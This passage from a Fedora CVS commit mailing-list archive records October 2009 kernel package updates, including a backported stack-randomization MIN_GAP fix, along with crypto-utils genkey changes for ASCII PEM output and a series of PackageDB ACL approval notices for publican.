@@ -39,9 +39,9 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 35
+%define stable_update 36
 # Is it a -stable RC?
-%define stable_rc 0
+%define stable_rc 2
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2002,6 +2002,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.95.rc2
+- Linux 2.6.27.36-rc2
+
 * Sat Sep 26 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.35-170.2.94
 - Backport "appletalk: Fix skb leak when ipddp interface is not loaded"
   (fixes CVE-2009-2903)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/sources,v
retrieving revision 1.922.2.22
retrieving revision 1.922.2.23
diff -u -p -r1.922.2.22 -r1.922.2.23
--- sources	24 Sep 2009 20:02:59 -0000	1.922.2.22
+++ sources	5 Oct 2009 03:09:53 -0000	1.922.2.23
@@ -1,2 +1,3 @@
 b3e78977aa79d3754cb7f8143d7ddabd  linux-2.6.27.tar.bz2
 6d49b54ff6ed54896db5d9e2ab7a6c0c  patch-2.6.27.35.bz2
+fd197c51c9638525d5629ccd09f832f0  patch-2.6.27.36-rc2.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/upstream,v
retrieving revision 1.834.2.22
retrieving revision 1.834.2.23
diff -u -p -r1.834.2.22 -r1.834.2.23
--- upstream	24 Sep 2009 20:02:59 -0000	1.834.2.22
+++ upstream	5 Oct 2009 03:09:53 -0000	1.834.2.23
@@ -1,3 +1,4 @@
 linux-2.6.27.tar.bz2
 patch-2.6.27.35.bz2
+patch-2.6.27.36-rc2.bz2
 



From cebbert at fedoraproject.org  Mon Oct  5 03:16:35 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon,  5 Oct 2009 03:16:35 +0000 (UTC)
Subject: rpms/kernel/F-10
	x86-increase-min_gap-to-include-randomized-stack.patch, NONE,
	1.1.2.1 kernel.spec, 1.1206.2.95, 1.1206.2.96
Message-ID: <20091005031635.2D11611C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3924

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	x86-increase-min_gap-to-include-randomized-stack.patch 
Log Message:
Backport stack randomization fix from 2.6.31.2 (#526882)

x86-increase-min_gap-to-include-randomized-stack.patch:
 arch/x86/mm/mmap.c    |   17 +++++++++++++++--
 include/asm-x86/elf.h |    2 ++
 2 files changed, 17 insertions(+), 2 deletions(-)

--- NEW FILE x86-increase-min_gap-to-include-randomized-stack.patch ---
>From 80938332d8cf652f6b16e0788cf0ca136befe0b5 Mon Sep 17 00:00:00 2001
From: Michal Hocko <mhocko at suse.cz>
Date: Tue, 8 Sep 2009 11:01:55 +0200
Subject: x86: Increase MIN_GAP to include randomized stack

From: Michal Hocko <mhocko at suse.cz>

[ trivial backport to 2.6.27: Chuck Ebbert <cebbert at redhat.com> ]

commit 80938332d8cf652f6b16e0788cf0ca136befe0b5 upstream.

Currently we are not including randomized stack size when calculating
mmap_base address in arch_pick_mmap_layout for topdown case. This might
cause that mmap_base starts in the stack reserved area because stack is
randomized by 1GB for 64b (8MB for 32b) and the minimum gap is 128MB.

If the stack really grows down to mmap_base then we can get silent mmap
region overwrite by the stack values.

Let's include maximum stack randomization size into MIN_GAP which is
used as the low bound for the gap in mmap.

Signed-off-by: Michal Hocko <mhocko at suse.cz>
LKML-Reference: <1252400515-6866-1-git-send-email-mhocko at suse.cz>
Acked-by: Jiri Kosina <jkosina at suse.cz>
Signed-off-by: H. Peter Anvin <hpa at zytor.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 include/asm-x86/elf.h      |    2 ++
 arch/x86/mm/mmap.c         |   17 +++++++++++++++--
 2 files changed, 17 insertions(+), 2 deletions(-)

--- a/include/asm-x86/elf.h
+++ b/include/asm-x86/elf.h
@@ -287,6 +287,8 @@ do {									\
 
 #ifdef CONFIG_X86_32
 
+#define STACK_RND_MASK (0x7ff)
+
 #define VDSO_HIGH_BASE		(__fix_to_virt(FIX_VDSO))
 
 #define ARCH_DLINFO		ARCH_DLINFO_IA32(vdso_enabled)
--- a/arch/x86/mm/mmap.c
+++ b/arch/x86/mm/mmap.c
@@ -29,13 +29,26 @@
 #include <linux/random.h>
 #include <linux/limits.h>
 #include <linux/sched.h>
+#include <asm/elf.h>
+
+static unsigned int stack_maxrandom_size(void)
+{
+	unsigned int max = 0;
+	if ((current->flags & PF_RANDOMIZE) &&
+		!(current->personality & ADDR_NO_RANDOMIZE)) {
+		max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT;
+	}
+
+	return max;
+}
+
 
 /*
  * Top of mmap area (just below the process stack).
  *
- * Leave an at least ~128 MB hole.
+ * Leave an at least ~128 MB hole with possible stack randomization.
  */
-#define MIN_GAP (128*1024*1024)
+#define MIN_GAP (128*1024*1024UL + stack_maxrandom_size())
 #define MAX_GAP (TASK_SIZE/6*5)
 
 /*


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.95
retrieving revision 1.1206.2.96
diff -u -p -r1.1206.2.95 -r1.1206.2.96
--- kernel.spec	5 Oct 2009 03:09:50 -0000	1.1206.2.95
+++ kernel.spec	5 Oct 2009 03:16:34 -0000	1.1206.2.96
@@ -789,6 +789,9 @@ Patch15100: kvm-x86-disallow-hypercalls-
 # appletalk: fix skb leak (CVE-2009-2903)
 Patch15200: appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
+# fix stack randomization (#526882)
+Patch15300: x86-increase-min_gap-to-include-randomized-stack.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1427,6 +1430,9 @@ ApplyPatch kvm-x86-disallow-hypercalls-f
 # appletalk: fix skb leak (CVE-2009-2903)
 ApplyPatch appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
+# backport of stack randomization fix from 2.6.31.2
+ApplyPatch x86-increase-min_gap-to-include-randomized-stack.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2002,6 +2008,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.96.rc2
+- Backport stack randomization fix from 2.6.31.2 (#526882)
+
 * Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.95.rc2
 - Linux 2.6.27.36-rc2
 



From emaldonado at fedoraproject.org  Mon Oct  5 03:37:08 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 03:37:08 +0000 (UTC)
Subject: rpms/crypto-utils/F-12 crypto-utils.spec,1.64,1.65
Message-ID: <20091005033708.A91BA11C00E5@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9668

Modified Files:
	crypto-utils.spec 
Log Message:
Retagging for a Fedora-12 build (#526720)


Index: crypto-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-12/crypto-utils.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- crypto-utils.spec	2 Oct 2009 18:15:28 -0000	1.64
+++ crypto-utils.spec	5 Oct 2009 03:37:07 -0000	1.65
@@ -4,7 +4,7 @@
 Summary: SSL certificate and key management utilities
 Name: crypto-utils
 Version: 2.4.1
-Release: 23
+Release: 24
 Source: crypto-rand-%{crver}.tar.gz
 Source1: genkey.pl
 Source2: certwatch.c
@@ -131,6 +131,9 @@ chmod -R u+w $RPM_BUILD_ROOT
 %{perl_vendorarch}/auto/Crypt
 
 %changelog
+* Sun Oct 04 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-24
+- Retagging for a Fedora-12 build (#526720)
+
 * Thu Oct 01 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-23
 - Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)
 



From cebbert at fedoraproject.org  Mon Oct  5 03:45:36 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon,  5 Oct 2009 03:45:36 +0000 (UTC)
Subject: rpms/kernel/F-11
	x86-increase-min_gap-to-include-randomized-stack.patch, NONE,
	1.1 kernel.spec, 1.1750, 1.1751
Message-ID: <20091005034536.D773611C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11826

Modified Files:
	kernel.spec 
Added Files:
	x86-increase-min_gap-to-include-randomized-stack.patch 
Log Message:
Copy stack randomization fix from 2.6.31.2 (F10#526882)

x86-increase-min_gap-to-include-randomized-stack.patch:
 include/asm/elf.h |    2 ++
 mm/mmap.c         |   17 +++++++++++++++--
 2 files changed, 17 insertions(+), 2 deletions(-)

--- NEW FILE x86-increase-min_gap-to-include-randomized-stack.patch ---
>From 80938332d8cf652f6b16e0788cf0ca136befe0b5 Mon Sep 17 00:00:00 2001
From: Michal Hocko <mhocko at suse.cz>
Date: Tue, 8 Sep 2009 11:01:55 +0200
Subject: x86: Increase MIN_GAP to include randomized stack

From: Michal Hocko <mhocko at suse.cz>

commit 80938332d8cf652f6b16e0788cf0ca136befe0b5 upstream.

Currently we are not including randomized stack size when calculating
mmap_base address in arch_pick_mmap_layout for topdown case. This might
cause that mmap_base starts in the stack reserved area because stack is
randomized by 1GB for 64b (8MB for 32b) and the minimum gap is 128MB.

If the stack really grows down to mmap_base then we can get silent mmap
region overwrite by the stack values.

Let's include maximum stack randomization size into MIN_GAP which is
used as the low bound for the gap in mmap.

Signed-off-by: Michal Hocko <mhocko at suse.cz>
LKML-Reference: <1252400515-6866-1-git-send-email-mhocko at suse.cz>
Acked-by: Jiri Kosina <jkosina at suse.cz>
Signed-off-by: H. Peter Anvin <hpa at zytor.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 arch/x86/include/asm/elf.h |    2 ++
 arch/x86/mm/mmap.c         |   17 +++++++++++++++--
 2 files changed, 17 insertions(+), 2 deletions(-)

--- a/arch/x86/include/asm/elf.h
+++ b/arch/x86/include/asm/elf.h
@@ -299,6 +299,8 @@ do {									\
 
 #ifdef CONFIG_X86_32
 
+#define STACK_RND_MASK (0x7ff)
+
 #define VDSO_HIGH_BASE		(__fix_to_virt(FIX_VDSO))
 
 #define ARCH_DLINFO		ARCH_DLINFO_IA32(vdso_enabled)
--- a/arch/x86/mm/mmap.c
+++ b/arch/x86/mm/mmap.c
@@ -29,13 +29,26 @@
 #include <linux/random.h>
 #include <linux/limits.h>
 #include <linux/sched.h>
+#include <asm/elf.h>
+
+static unsigned int stack_maxrandom_size(void)
+{
+	unsigned int max = 0;
+	if ((current->flags & PF_RANDOMIZE) &&
+		!(current->personality & ADDR_NO_RANDOMIZE)) {
+		max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT;
+	}
+
+	return max;
+}
+
 
 /*
  * Top of mmap area (just below the process stack).
  *
- * Leave an at least ~128 MB hole.
+ * Leave an at least ~128 MB hole with possible stack randomization.
  */
-#define MIN_GAP (128*1024*1024)
+#define MIN_GAP (128*1024*1024UL + stack_maxrandom_size())
 #define MAX_GAP (TASK_SIZE/6*5)
 
 /*


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1750
retrieving revision 1.1751
diff -u -p -r1.1750 -r1.1751
--- kernel.spec	5 Oct 2009 02:55:37 -0000	1.1750
+++ kernel.spec	5 Oct 2009 03:45:35 -0000	1.1751
@@ -761,6 +761,9 @@ Patch14300: linux-2.6-cfq-choose-new-nex
 # appletalk: fix skb leak (CVE-2009-2903)
 Patch15200: appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
+# fix stack randomization (F10#526882)
+Patch15300: x86-increase-min_gap-to-include-randomized-stack.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1418,6 +1421,9 @@ ApplyPatch linux-2.6-cfq-choose-new-next
 # appletalk: fix skb leak (CVE-2009-2903)
 ApplyPatch appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
+# copy stack randomization fix from 2.6.31.2
+ApplyPatch x86-increase-min_gap-to-include-randomized-stack.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2006,6 +2012,9 @@ fi
 # and build.
 
 %changelog
+* Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-72.rc3
+- Copy stack randomization fix from 2.6.31.2 (F10#526882)
+
 * Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-71.rc3
 - Linux 2.6.30.9-rc3
 - Drop merged upstream patches:



From emaldonado at fedoraproject.org  Mon Oct  5 04:02:06 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 04:02:06 +0000 (UTC)
Subject: rpms/crypto-utils/F-11 genkey.pl,1.27,1.28
Message-ID: <20091005040206.9210411C00EB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17779

Modified Files:
	genkey.pl 
Log Message:
- Fix to produce CSRs, certs, and key in ascii PEM format (#526720)\n
Fix cert suffix to be .crt as Apache expects it (#162116)


Index: genkey.pl
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-11/genkey.pl,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- genkey.pl	29 Jan 2009 22:19:22 -0000	1.27
+++ genkey.pl	5 Oct 2009 04:02:06 -0000	1.28
@@ -1086,7 +1086,8 @@ sub genRequestOpenSSL
     my $args = "-c genreq ";
     $args   .= "-g $bits "; 
     $args   .= "-s $subject ";
-    $args   .= "-v $months "; 
+    $args   .= "-v $months ";
+    $args   .= "-a ";              ## using ascii
     $args   .= "-o $csrfile ";
     $args   .= "-k $keyfile "; 
     $args   .= "-e $keyEncPassword " if $keyEncPassword;
@@ -1166,6 +1167,7 @@ sub renewCertOpenSSL
     # This is a request where we reuse the existing key pair
 
     my $args = "--command genreq ";
+    $args   .= "--ascii ";              ## using ascii
     $args   .= "--renew $certfile "; 
     $args   .= "--input $keyfile "; 
     $args   .= "--cacert " if $cacert;
@@ -1521,7 +1523,7 @@ sub genCertWindow
     return "Skip" if $useca;
 
     $keyfile = $ssltop."/private/".$servername.".key";
-    $certfile = $ssltop."/certs/".$servername.".cert";
+    $certfile = $ssltop."/certs/".$servername.".crt";
     
     my $msg = "You are about to be asked to enter information that will be ".
 	"made into a self-signed certificate for your server. What you are ".



From emaldonado at fedoraproject.org  Mon Oct  5 04:02:54 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 04:02:54 +0000 (UTC)
Subject: rpms/crypto-utils/F-11 crypto-utils.spec,1.60,1.61
Message-ID: <20091005040254.0EE6111C00C1@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18770

Modified Files:
	crypto-utils.spec 
Log Message:
- Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)\n
Fix cert suffix to be .crt as Apache expects it (#162116)


Index: crypto-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-11/crypto-utils.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- crypto-utils.spec	15 Mar 2009 18:25:07 -0000	1.60
+++ crypto-utils.spec	5 Oct 2009 04:02:53 -0000	1.61
@@ -4,7 +4,7 @@
 Summary: SSL certificate and key management utilities
 Name: crypto-utils
 Version: 2.4.1
-Release: 18
+Release: 19
 Source: crypto-rand-%{crver}.tar.gz
 Source1: genkey.pl
 Source2: certwatch.c
@@ -131,6 +131,10 @@ chmod -R u+w $RPM_BUILD_ROOT
 %{perl_vendorarch}/auto/Crypt
 
 %changelog
+* Sun Oct 04 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-19
+- Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)
+- Fixed cert suffix to be .crt as Apache expects it (#162116)
+
 * Sun Mar 15 2009 Elio Maldonado <emaldona at redhat.com> - 2.4.1-18
 - certwatch: Fixed cert expiry time calculations (#473860)
 - keyutil: Fixed segfault on certificate generation and missing of key/cert pem files (#479886)



From emaldonado at fedoraproject.org  Mon Oct  5 04:12:36 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 04:12:36 +0000 (UTC)
Subject: rpms/crypto-utils/F-10 genkey.pl,1.27,1.28
Message-ID: <20091005041236.41ED411C00EB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13756

Modified Files:
	genkey.pl 
Log Message:
Fix output format of CSRs, certs, and keysto be ascii PEM (#526720)


Index: genkey.pl
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-10/genkey.pl,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- genkey.pl	20 May 2009 16:29:30 -0000	1.27
+++ genkey.pl	5 Oct 2009 04:12:35 -0000	1.28
@@ -1086,7 +1086,8 @@ sub genRequestOpenSSL
     my $args = "-c genreq ";
     $args   .= "-g $bits "; 
     $args   .= "-s $subject ";
-    $args   .= "-v $months "; 
+    $args   .= "-v $months ";
+    $args   .= "-a ";              ## using ascii
     $args   .= "-o $csrfile ";
     $args   .= "-k $keyfile "; 
     $args   .= "-e $keyEncPassword " if $keyEncPassword;
@@ -1166,6 +1167,7 @@ sub renewCertOpenSSL
     # This is a request where we reuse the existing key pair
 
     my $args = "--command genreq ";
+    $args   .= "--ascii ";              ## using ascii
     $args   .= "--renew $certfile "; 
     $args   .= "--input $keyfile "; 
     $args   .= "--cacert " if $cacert;



From emaldonado at fedoraproject.org  Mon Oct  5 04:12:57 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 04:12:57 +0000 (UTC)
Subject: rpms/crypto-utils/F-10 crypto-utils.spec,1.55,1.56
Message-ID: <20091005041257.20A4811C00EB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21544

Modified Files:
	crypto-utils.spec 
Log Message:
Fix output format of CSRs, certs, and keysto be ascii PEM (#526720)


Index: crypto-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-10/crypto-utils.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- crypto-utils.spec	21 May 2009 22:18:39 -0000	1.55
+++ crypto-utils.spec	5 Oct 2009 04:12:56 -0000	1.56
@@ -4,7 +4,7 @@
 Summary: SSL certificate and key management utilities
 Name: crypto-utils
 Version: 2.4.1
-Release: 21
+Release: 22
 Source: crypto-rand-%{crver}.tar.gz
 Source1: genkey.pl
 Source2: certwatch.c
@@ -131,6 +131,9 @@ chmod -R u+w $RPM_BUILD_ROOT
 %{perl_vendorarch}/auto/Crypt
 
 %changelog
+* Sun Oct 04 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-22
+- Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)
+
 * Thu May 21 2009 Elio Maldonado <emaldona at redhat.com> - 2.4.1-20
 - certwatch: Fixed cert suffix to be .crt as Apache expects it (#162116)
 



From emaldonado at fedoraproject.org  Mon Oct  5 04:19:06 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 04:19:06 +0000 (UTC)
Subject: rpms/crypto-utils/F-10 crypto-utils.spec,1.56,1.57
Message-ID: <20091005041906.8A9EF11C00DB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13907

Modified Files:
	crypto-utils.spec 
Log Message:
Bump release number to avoid tagging conflist with devel and F-12 branches


Index: crypto-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-10/crypto-utils.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- crypto-utils.spec	5 Oct 2009 04:12:56 -0000	1.56
+++ crypto-utils.spec	5 Oct 2009 04:19:06 -0000	1.57
@@ -4,7 +4,7 @@
 Summary: SSL certificate and key management utilities
 Name: crypto-utils
 Version: 2.4.1
-Release: 22
+Release: 25
 Source: crypto-rand-%{crver}.tar.gz
 Source1: genkey.pl
 Source2: certwatch.c
@@ -131,6 +131,9 @@ chmod -R u+w $RPM_BUILD_ROOT
 %{perl_vendorarch}/auto/Crypt
 
 %changelog
+* Sun Oct 04 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-25
+- Bumping the release number to avoid tag conflicts with other branches
+
 * Sun Oct 04 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-22
 - Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)
 



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:39 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042239.45D3110F88E@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:40 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042240.D2E1310F894@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:42 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042242.1578010F8A1@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:43 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042243.E6E2E10F8A2@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:51 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042251.D519D10F88E@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:52 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042252.3458310F894@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:54 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042254.161D910F8A1@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:55 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042255.E321510F8A2@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:22:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:22:59 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042259.9688F10F894@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:00 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042300.3A7BC10F8AB@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:01 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042301.CBA7E10F8B2@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:02 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042302.08EC410F8B4@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:07 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042307.5984B10F89C@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:08 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042308.C1E7110F8A2@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:09 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042309.5F85110F8B7@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:11 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042311.A0BBB10F8B8@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:13 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042314.0E84B10F8A9@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican (Fedora 11) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:14 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042314.5BABD10F8BC@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican (Fedora 11) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:15 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042315.BE9C610F8C0@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican (Fedora 11) to Approved for rlandmann

To make changes to this package see:
